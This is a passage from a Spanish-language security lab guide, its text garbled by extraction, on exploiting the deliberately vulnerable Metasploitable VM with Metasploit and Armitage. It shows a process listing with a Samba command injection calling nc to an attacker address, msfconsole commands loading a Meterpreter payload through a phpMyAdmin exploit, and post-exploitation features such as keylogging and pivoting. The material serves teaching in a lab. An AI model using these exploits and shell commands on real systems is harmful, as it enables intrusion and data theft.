
RSS TTY 1688 ? 484 ?

STAT START Ss 19:23 S 19:49

TIME COMMAND 0:00 /sbin/init

0:00 sh -c /etc/samba/scripts/[Link] "/=nohup nc 192

3.3.4.

Explotar una versin vulnerable de phpMyAdmin + uso de Meterpreter o

En la v ctima se ha instalado una versin antigua (y vulnerable) de phpMyAdmin o Se puede comprobar en la URL [Link] Pasos a seguir: 1. Sobre el host ([Link]) [botn derecho] -> Attacks -> webapp -> phpmyadmin_config o Se usar el exploit exploit/unix/webapp/phpmyadmin_config. a Se puede comprobar que la versin de phpMyAdmin instalada en Metasploitable es compatible con este exploit. o 2. Asegurar que la opcin URI es exactamente /phpMyAdmin/ (el exploit es sensible a maysculas/minsculas) o u u 3. Lanzar el exploit con el PAYLOAD por defecto. Uso de Meterpreter

Lanzaremos de nuevo el exploit con un PAYLOAD ms sosticado. Usaremos un PAYLOAD (payload/php/meterpreter/bind_t a que carga la herramienta Meterpreter en la v ctima (en este caso el cdigo inyectado por el PAYLOAD es PHP) o Meterpreter es un PAYLOAD con funcionalidades adicionales pensadas para simplicar las tareas de explotacin, o post explotacin y escalada de privilegios. o Inicialmente fue desarrollado para v ctimas MS Windows, aunque existen variantes para otras arquitecturas, aunque no con todas las funcionalidades. Pasos a seguir: 1. Cerrar (disconnect) la sesin arrancada actualmente. o

2. Sobre la pestaa exploit de la consola de Armitage vinculada al ataque con exploit/unix/webapp/phpmyadmin_config n cambiar el PAYLOAD y lanzar de nuevo el exploit manualmente.
msf exploit(phpmyadmin_config) > set PAYLOAD php/meterpreter/bind_tcp msf exploit(phpmyadmin_config) > show options msf exploit(phpmyadmin_config) > exploit

3. Se abre un men contextual nuevo sobre el icono del host atacado, etiquetado como Meterpreter # con las u opciones concretas de este PAYLOAD. En la opcin Interact se abre un shell de Meterpreter con un conjunto de comandos espec o cos para tareas de post explotacin o En la opcin Explore incluye un navegador de archivos grco, un visor de procesos y un herramienta de o a captura de pantalla (depende del tipo de v ctima [no funciona con GNU/linux en modo texto]) En la opcin Pivoting se pueden congurar los parmetros necesarios para que el equipo comprometido o a funcione como pivote, actando como punto intermedio en el anlisis y ataque con Metasploit a otras u a mquinas accesibles desde dicha v a ctima. 4. Abrir un Shell de Meterpreter (seleccionando Meterpreter -> Interact -> Meterpreter Shell)

13

Con help se muestran los comandos, muchos de ellos son dependientes de la arquitectura y S.O. de la v ctima y no todos estarn disponibles. a comando load -carga mdulos de meterpreter con funcionalidades adicionales: load -l) o comando run -ejecuta mdulos de post explotacin o scripts meterpreter o o comandos ipconfig, route, portfwd -control de la conguracin de red de la v o ctima otros: control de webcam/micrfono, captura de pantalla, keylogger, captura de hashes de contraseas o n (slo en MS Windows), etc o

3.3.5.

Tarea: explotar la aplicacin web TikiWiki o

Exploit a emplear: exploit/unix/webapp/tikiwiki_graph_formula_exec Sobre el hosts [Link]: [botn derecho] -> Attacks -> webapp -> tikiwiki_graph_formula_exec o

4.

Extra: Aplicaciones web vulnerables de entrenamiento y educativas

En la mquina virtual Metasploitable se han instalado dos aplicaciones web educativas (una en PHP y otra en Java) a para exprimentar con las vulnerabilidades t picas de las aplicaciones web. Damm Vulnerable Web Application Aplicacin web escrita en PHP con una coleccin de ejercicios sobre vulnerabilidades web habituales. o o Pgina del proyecto: [Link] a URL de acceso desde ATACANTE: [Link] Credenciales de acceso: admin/password Cdigo fuente en /var/www/dvwa (en METASPLOITABLE) o OWASP WebGoat. Aplicacin web J2EE escrita en Java mantenida y distribuida por el proyecto OWASP (Open Web Application o Security Project), incluye una coleccin de lecciones detalladas y ejercicios sobre las vulnerabilidades incluidas o en el OWASP Top Ten Project que mantiene un ranking con las vulnerabilidades web ms importantes. a Pgina del proyecto: OWASP WebGoat Project a Las instrucciones para poner el marcha la web estn en el chero /home/msfadmin/vulnerable/[Link] a de la mquina METASPLOITABLE. a La aplicacin se distribuye con su propio servidor Apache Tomcat y quedar a la escucha en la URL o a [Link] Credenciales de acceso: webgoat/webgoat, guest/guest, basic/basic

14

También podría gustarte